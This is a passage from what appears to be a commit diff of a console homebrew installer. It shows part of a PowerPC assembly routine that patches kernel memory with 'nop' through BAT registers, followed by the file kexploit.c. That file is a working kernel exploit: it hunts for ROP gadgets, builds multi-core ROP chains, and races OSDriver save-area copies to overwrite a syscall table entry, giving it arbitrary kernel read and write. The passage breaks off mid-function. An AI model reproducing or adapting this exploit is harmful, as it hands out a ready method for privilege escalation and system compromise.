#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_7
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# setup DBAT0 for access to kernel code memory
|
||||||
|
lis r3, 0xFFEE
|
||||||
|
ori r3, r3, 0x0002
|
||||||
|
mtdbatu 0, r3
|
||||||
|
lis r3, 0xFFEE
|
||||||
|
ori r3, r3, 0x0032
|
||||||
|
mtdbatl 0, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# write "nop" to some positions
|
||||||
|
lis r4, 0x6000
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# restore DBAT 0 and return from interrupt
|
||||||
|
mtdbatu 0, r30
|
||||||
|
mtdbatl 0, r31
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
rfi
|
||||||
|
|
615
installer/kexploit.c
Normal file
615
installer/kexploit.c
Normal file
@ -0,0 +1,615 @@
|
|||||||
|
#include "kexploit.h"
|
||||||
|
|
||||||
|
void wait(unsigned int t);
|
||||||
|
void doBrowserShutdown(unsigned int coreinit_handle);
|
||||||
|
void setupOSScreen(unsigned int coreinit_handle);
|
||||||
|
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
|
||||||
|
void exitOSScreen(unsigned int coreinit_handle);
|
||||||
|
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char *drvb_name;
|
||||||
|
void *copy_payload;
|
||||||
|
void *thread0;
|
||||||
|
void *thread2;
|
||||||
|
uint32_t *rop0;
|
||||||
|
uint32_t *rop2;
|
||||||
|
|
||||||
|
void (*OSYieldThread)(void);
|
||||||
|
int32_t (*OSResumeThread)(void * thread);
|
||||||
|
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
||||||
|
} thread_data_container_t;
|
||||||
|
|
||||||
|
static void thread_callback(int argc, void *argv)
|
||||||
|
{
|
||||||
|
thread_data_container_t *container = (thread_data_container_t*)argv;
|
||||||
|
|
||||||
|
container->OSYieldThread();
|
||||||
|
|
||||||
|
/* Schedule both threads for execution */
|
||||||
|
container->OSResumeThread(container->thread0);
|
||||||
|
container->OSResumeThread(container->thread2);
|
||||||
|
|
||||||
|
/* Signal the CPU0 and CPU2 threads to begin */
|
||||||
|
container->rop0[0x1fc/4] = 0;
|
||||||
|
container->rop2[0x1ac/4] = 0;
|
||||||
|
|
||||||
|
container->OSYieldThread();
|
||||||
|
|
||||||
|
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Initial setup code stolen from Pong, makes race much more reliable */
|
||||||
|
void run_kexploit(private_data_t *private_data)
|
||||||
|
{
|
||||||
|
unsigned int coreinit_handle, sysapp_handle;
|
||||||
|
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||||
|
OSDynLoad_Acquire("sysapp", &sysapp_handle);
|
||||||
|
//needed to not destroy screen
|
||||||
|
doBrowserShutdown(coreinit_handle);
|
||||||
|
//prints out first message as well
|
||||||
|
setupOSScreen(coreinit_handle);
|
||||||
|
|
||||||
|
if(KERN_SYSCALL_TBL == 0)
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
|
||||||
|
wait(0x3FFFFFFF);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
//OS Memory functions
|
||||||
|
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
||||||
|
void*(*memcpy)(void *dest, void *src, uint32_t length);
|
||||||
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||||
|
void (*OSFreeToSystem)(void *ptr);
|
||||||
|
void (*DCFlushRange)(void *buffer, uint32_t length);
|
||||||
|
void (*DCInvalidateRange)(void *buffer, uint32_t length);
|
||||||
|
void (*ICInvalidateRange)(void *buffer, uint32_t length);
|
||||||
|
|
||||||
|
/* OS thread functions */
|
||||||
|
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
||||||
|
int32_t (*OSResumeThread)(void *thread);
|
||||||
|
int32_t (*OSGetThreadPriority)(void *thread);
|
||||||
|
void * (*OSGetCurrentThread)(void);
|
||||||
|
void (*OSYieldThread)(void);
|
||||||
|
int (*OSIsThreadTerminated)(void *thread);
|
||||||
|
|
||||||
|
/* Exit functions */
|
||||||
|
void (*__PPCExit)();
|
||||||
|
void (*_Exit)();
|
||||||
|
|
||||||
|
int(*SYSSwitchToBrowser)(void *args);
|
||||||
|
int(*SYSLaunchSettings)(void *args);
|
||||||
|
|
||||||
|
/* Read the addresses of the functions */
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
|
||||||
|
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
|
||||||
|
|
||||||
|
/* Allocate a stack for the threads */
|
||||||
|
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
|
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
|
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
|
|
||||||
|
/* Create the threads */
|
||||||
|
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
|
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
|
||||||
|
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
|
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
|
||||||
|
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
|
if (ret0 == false || ret2 == false)
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
|
||||||
|
wait(0x2FFFFFFF);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
printOSScreenMsg(coreinit_handle, "Running Exploit...",1);
|
||||||
|
|
||||||
|
/* Find a bunch of gadgets */
|
||||||
|
uint32_t sleep_addr;
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr);
|
||||||
|
sleep_addr += 0x44;
|
||||||
|
uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};
|
||||||
|
uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);
|
||||||
|
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
|
||||||
|
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);
|
||||||
|
uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};
|
||||||
|
uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);
|
||||||
|
uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
||||||
|
uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);
|
||||||
|
uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
||||||
|
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);
|
||||||
|
|
||||||
|
/* Find the OSDriver functions */
|
||||||
|
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
|
||||||
|
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
|
||||||
|
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
|
||||||
|
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
|
||||||
|
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
|
||||||
|
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
|
||||||
|
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
|
||||||
|
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
|
||||||
|
|
||||||
|
/* Set up the ROP chain for CPU0 */
|
||||||
|
OSContext *ctx0 = (OSContext*) thread0;
|
||||||
|
uint32_t *rop0 = (uint32_t*) stack0;
|
||||||
|
ctx0->gpr[1] = stack0 + 0x80;
|
||||||
|
ctx0->gpr[28] = 0;
|
||||||
|
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
|
||||||
|
ctx0->gpr[31] = stack0 + 0x1f8;
|
||||||
|
ctx0->srr0 = sigwait_addr + 0xc;
|
||||||
|
rop0[0x94/4] = sleep_addr;
|
||||||
|
rop0[0x114/4] = r3r4load_addr;
|
||||||
|
rop0[0x118/4] = stack0 + 0x208;
|
||||||
|
rop0[0x11c/4] = 4;
|
||||||
|
rop0[0x124/4] = r30r31load_addr;
|
||||||
|
rop0[0x14c/4] = stack0 + 0x220;
|
||||||
|
rop0[0x154/4] = sigwait_addr;
|
||||||
|
rop0[0x164/4] = r5load_addr;
|
||||||
|
rop0[0x168/4] = stack0 + 0x218;
|
||||||
|
rop0[0x174/4] = r3r4load_addr;
|
||||||
|
rop0[0x178/4] = stack0 + 0x210;
|
||||||
|
rop0[0x17c/4] = 4;
|
||||||
|
rop0[0x184/4] = r30r31load_addr;
|
||||||
|
rop0[0x1a8/4] = stack0 + 0x230;
|
||||||
|
rop0[0x1b4/4] = r6load_addr;
|
||||||
|
rop0[0x1c4/4] = stack0 + 0x21c;
|
||||||
|
rop0[0x1dc/4] = stack0 + 0x228;
|
||||||
|
rop0[0x1e4/4] = sigwait_addr;
|
||||||
|
rop0[0x1f4/4] = sigwait_addr + 0x28;
|
||||||
|
rop0[0x1f8/4] = sigwait_addr + 0xc;
|
||||||
|
rop0[0x1fc/4] = stack0 + 0x1f8;
|
||||||
|
rop0[0x200/4] = 0;
|
||||||
|
rop0[0x204/4] = 0;
|
||||||
|
rop0[0x208/4] = 0x44525642;
|
||||||
|
rop0[0x20c/4] = 0;
|
||||||
|
rop0[0x210/4] = 0x44525643;
|
||||||
|
rop0[0x214/4] = 0;
|
||||||
|
rop0[0x218/4] = 0;
|
||||||
|
rop0[0x21c/4] = 0;
|
||||||
|
rop0[0x220/4] = (uint32_t)Deregister;
|
||||||
|
rop0[0x224/4] = 0;
|
||||||
|
rop0[0x228/4] = (uint32_t)Register;
|
||||||
|
rop0[0x22c/4] = 0;
|
||||||
|
|
||||||
|
/* Set up the ROP chain for CPU2 */
|
||||||
|
OSContext *ctx2 = (OSContext*) thread2;
|
||||||
|
uint32_t *rop2 = (uint32_t*) stack2;
|
||||||
|
ctx2->gpr[1] = stack2 + 0x80;
|
||||||
|
ctx2->gpr[28] = 0;
|
||||||
|
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
|
||||||
|
ctx2->gpr[31] = stack2 + 0x1a8;
|
||||||
|
ctx2->srr0 = sigwait_addr + 0xc;
|
||||||
|
rop2[0x94/4] = sleep_addr;
|
||||||
|
rop2[0x114/4] = r5load_addr;
|
||||||
|
rop2[0x118/4] = stack2 + 0x204;
|
||||||
|
rop2[0x124/4] = r3r4load_addr;
|
||||||
|
rop2[0x128/4] = stack2 + 0x1b8;
|
||||||
|
rop2[0x12c/4] = 4;
|
||||||
|
rop2[0x134/4] = r30r31load_addr;
|
||||||
|
rop2[0x158/4] = stack2 + 0x1c8;
|
||||||
|
rop2[0x164/4] = r6load_addr;
|
||||||
|
rop2[0x174/4] = 4;
|
||||||
|
rop2[0x18c/4] = stack2 + 0x1c0;
|
||||||
|
rop2[0x194/4] = sigwait_addr;
|
||||||
|
rop2[0x1a4/4] = sigwait_addr + 0x28;
|
||||||
|
rop2[0x1a8/4] = sigwait_addr + 0xc;
|
||||||
|
rop2[0x1ac/4] = stack2 + 0x1a8;
|
||||||
|
rop2[0x1b0/4] = 0;
|
||||||
|
rop2[0x1b4/4] = 0;
|
||||||
|
rop2[0x1b8/4] = 0x44525641;
|
||||||
|
rop2[0x1bc/4] = 0;
|
||||||
|
rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;
|
||||||
|
rop2[0x1c4/4] = 0;
|
||||||
|
rop2[0x204/4] = 0xDEADC0DE;
|
||||||
|
|
||||||
|
/* Register driver A and driver B */
|
||||||
|
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
|
memcpy(drva_name, "DRVA", 5);
|
||||||
|
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
|
memcpy(drvb_name, "DRVB", 5);
|
||||||
|
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
|
||||||
|
if (status != 0)
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
|
||||||
|
wait(0x2FFFFFFF);
|
||||||
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Generate the copy payload, which writes to syscall_table[0x34] */
|
||||||
|
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
|
||||||
|
if (!copy_payload)
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
|
||||||
|
wait(0x2FFFFFFF);
|
||||||
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
copy_payload[0] = 0x01234567;
|
||||||
|
copy_payload[0xfb4/4] = 0x44525648;
|
||||||
|
copy_payload[0xfb8/4] = 0x41580000;
|
||||||
|
copy_payload[0xff4/4] = PFID_BROWSER;
|
||||||
|
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
|
||||||
|
DCFlushRange(copy_payload, 0x1000);
|
||||||
|
DCInvalidateRange(copy_payload, 0x1000);
|
||||||
|
|
||||||
|
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
|
drvhax_name[7] = 0;
|
||||||
|
memcpy(drvhax_name, "DRVHAX", 7);
|
||||||
|
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
|
syscalls[0] = KERN_CODE_READ;
|
||||||
|
syscalls[1] = KERN_CODE_WRITE;
|
||||||
|
|
||||||
|
/* Do a dummy copy to put CopyToSaveArea() in our cache */
|
||||||
|
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
|
||||||
|
|
||||||
|
thread_data_container_t container;
|
||||||
|
container.drvb_name = drvb_name;
|
||||||
|
container.copy_payload = copy_payload;
|
||||||
|
container.rop0 = rop0;
|
||||||
|
container.rop2 = rop2;
|
||||||
|
container.thread0 = thread0;
|
||||||
|
container.thread2 = thread2;
|
||||||
|
container.OSResumeThread = OSResumeThread;
|
||||||
|
container.OSYieldThread = OSYieldThread;
|
||||||
|
container.CopyToSaveArea = CopyToSaveArea;
|
||||||
|
|
||||||
|
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
|
||||||
|
|
||||||
|
OSYieldThread();
|
||||||
|
/* Schedule both threads for execution */
|
||||||
|
//OSResumeThread(thread0);
|
||||||
|
//OSResumeThread(thread2);
|
||||||
|
OSResumeThread(thread1);
|
||||||
|
|
||||||
|
|
||||||
|
/* Signal the CPU0 and CPU2 threads to begin */
|
||||||
|
//rop2[0x1ac/4] = 0;
|
||||||
|
//rop0[0x1fc/4] = 0;
|
||||||
|
|
||||||
|
/* Start copying the payload into driver B's save area */
|
||||||
|
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
|
||||||
|
|
||||||
|
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
|
||||||
|
while(OSIsThreadTerminated(thread1) == 0)
|
||||||
|
{
|
||||||
|
asm volatile (
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
);
|
||||||
|
|
||||||
|
OSYieldThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Use DRVHAX to install the read and write syscalls */
|
||||||
|
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
|
||||||
|
|
||||||
|
/* Verify that the syscalls were installed */
|
||||||
|
uint32_t result = 42;
|
||||||
|
status = CopyFromSaveArea(drvhax_name, 6, &result, 4);
|
||||||
|
if (result != KERN_CODE_READ)
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
|
||||||
|
wait(0x2FFFFFFF);
|
||||||
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Search the kernel heap for DRVA and DRVHAX */
|
||||||
|
uint32_t drva_addr = 0, drvhax_addr = 0;
|
||||||
|
uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);
|
||||||
|
while (metadata_addr >= KERN_HEAP + 0x14)
|
||||||
|
{
|
||||||
|
/* Read the data address from the metadata, then read the data */
|
||||||
|
uint32_t data_addr = kern_read((void*)metadata_addr);
|
||||||
|
uint32_t data = kern_read((void*)data_addr);
|
||||||
|
|
||||||
|
/* Check for DRVA or DRVHAX, and if both are found, break */
|
||||||
|
if (data == 0x44525641) drva_addr = data_addr;
|
||||||
|
else if (data == 0x44525648) drvhax_addr = data_addr;
|
||||||
|
if (drva_addr && drvhax_addr) break;
|
||||||
|
|
||||||
|
/* Go to the previous metadata entry */
|
||||||
|
metadata_addr -= 0x10;
|
||||||
|
}
|
||||||
|
if (!(drva_addr && drvhax_addr))
|
||||||
|
{
|
||||||
|
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
|
||||||
|
wait(0x2FFFFFFF);
|
||||||
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||||
|
exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
/* Make DRVHAX point to DRVA to ensure a clean exit */
|
||||||
|
kern_write((void*)(drvhax_addr + 0x48), drva_addr);
|
||||||
|
|
||||||
|
private_data->MEMFreeToDefaultHeap(thread0);
|
||||||
|
private_data->MEMFreeToDefaultHeap(thread1);
|
||||||
|
private_data->MEMFreeToDefaultHeap(thread2);
|
||||||
|
private_data->MEMFreeToDefaultHeap((void*)stack0);
|
||||||
|
private_data->MEMFreeToDefaultHeap((void*)stack1);
|
||||||
|
private_data->MEMFreeToDefaultHeap((void*)stack2);
|
||||||
|
|
||||||
|
//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
|
||||||
|
//wait(0x1FFFFFFF);
|
||||||
|
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
|
||||||
|
//exitOSScreen(coreinit_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
void wait(unsigned int t)
|
||||||
|
{
|
||||||
|
// the wait times are too short with optimizations enabled so we double them
|
||||||
|
t *= 2;
|
||||||
|
|
||||||
|
while(t--)
|
||||||
|
asm volatile("nop");
|
||||||
|
}
|
||||||
|
|
||||||
|
void doBrowserShutdown(unsigned int coreinit_handle)
|
||||||
|
{
|
||||||
|
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
||||||
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||||
|
void (*OSFreeToSystem)(void *ptr);
|
||||||
|
|
||||||
|
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
||||||
|
int(*IM_Close)(int fd);
|
||||||
|
int(*IM_Open)();
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
||||||
|
|
||||||
|
//Restart system to get lib access
|
||||||
|
int fd = IM_Open();
|
||||||
|
void *mem = OSAllocFromSystem(0x100, 64);
|
||||||
|
memset(mem, 0, 0x100);
|
||||||
|
//set restart flag to force quit browser
|
||||||
|
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
||||||
|
IM_Close(fd);
|
||||||
|
OSFreeToSystem(mem);
|
||||||
|
//wait a bit for browser end
|
||||||
|
wait(0x1FFFFFFF);
|
||||||
|
}
|
||||||
|
|
||||||
|
void drawString(unsigned int coreinit_handle, int x, int y, char * string)
|
||||||
|
{
|
||||||
|
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||||
|
OSScreenPutFontEx(0, x, y, string);
|
||||||
|
OSScreenPutFontEx(1, x, y, string);
|
||||||
|
}
|
||||||
|
|
||||||
|
void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
|
||||||
|
{
|
||||||
|
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||||
|
uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;
|
||||||
|
OSScreenClearBufferEx(0, num);
|
||||||
|
OSScreenClearBufferEx(1, num);
|
||||||
|
}
|
||||||
|
|
||||||
|
void flipBuffers(unsigned int coreinit_handle)
|
||||||
|
{
|
||||||
|
void(*DCFlushRange)(void *buffer, uint32_t length);
|
||||||
|
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||||
|
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||||
|
//Grab the buffer size for each screen (TV and gamepad)
|
||||||
|
int buf0_size = OSScreenGetBufferSizeEx(0);
|
||||||
|
int buf1_size = OSScreenGetBufferSizeEx(1);
|
||||||
|
//Flush the cache
|
||||||
|
DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);
|
||||||
|
DCFlushRange((void *)0xF4000000, buf0_size);
|
||||||
|
//Flip the buffer
|
||||||
|
OSScreenFlipBuffersEx(0);
|
||||||
|
OSScreenFlipBuffersEx(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<2;i++)
|
||||||
|
{
|
||||||
|
fillScreen(coreinit_handle, 0,0,0,0);
|
||||||
|
drawString(coreinit_handle, 0,pos,buf);
|
||||||
|
flipBuffers(coreinit_handle);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void setupOSScreen(unsigned int coreinit_handle)
|
||||||
|
{
|
||||||
|
void(*OSScreenInit)();
|
||||||
|
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||||
|
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||||
|
|
||||||
|
//Call the Screen initilzation function.
|
||||||
|
OSScreenInit();
|
||||||
|
//Grab the buffer size for each screen (TV and gamepad)
|
||||||
|
int buf0_size = OSScreenGetBufferSizeEx(0);
|
||||||
|
int buf1_size = OSScreenGetBufferSizeEx(1);
|
||||||
|
//Set the buffer area.
|
||||||
|
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||||
|
OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);
|
||||||
|
//Clear both framebuffers.
|
||||||
|
int ii;
|
||||||
|
for (ii = 0; ii < 2; ii++)
|
||||||
|
{
|
||||||
|
fillScreen(coreinit_handle, 0,0,0,0);
|
||||||
|
flipBuffers(coreinit_handle);
|
||||||
|
}
|
||||||
|
printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void exitOSScreen(unsigned int coreinit_handle)
|
||||||
|
{
|
||||||
|
void (*_Exit)();
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||||
|
//exit only works like this
|
||||||
|
int ii;
|
||||||
|
for(ii = 0; ii < 2; ii++)
|
||||||
|
{
|
||||||
|
fillScreen(coreinit_handle, 0,0,0,0);
|
||||||
|
flipBuffers(coreinit_handle);
|
||||||
|
}
|
||||||
|
_Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
void callSysExit(unsigned int coreinit_handle, void *sysFunc)
|
||||||
|
{
|
||||||
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||||
|
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
||||||
|
int32_t (*OSResumeThread)(void *thread);
|
||||||
|
int (*OSIsThreadTerminated)(void *thread);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||||
|
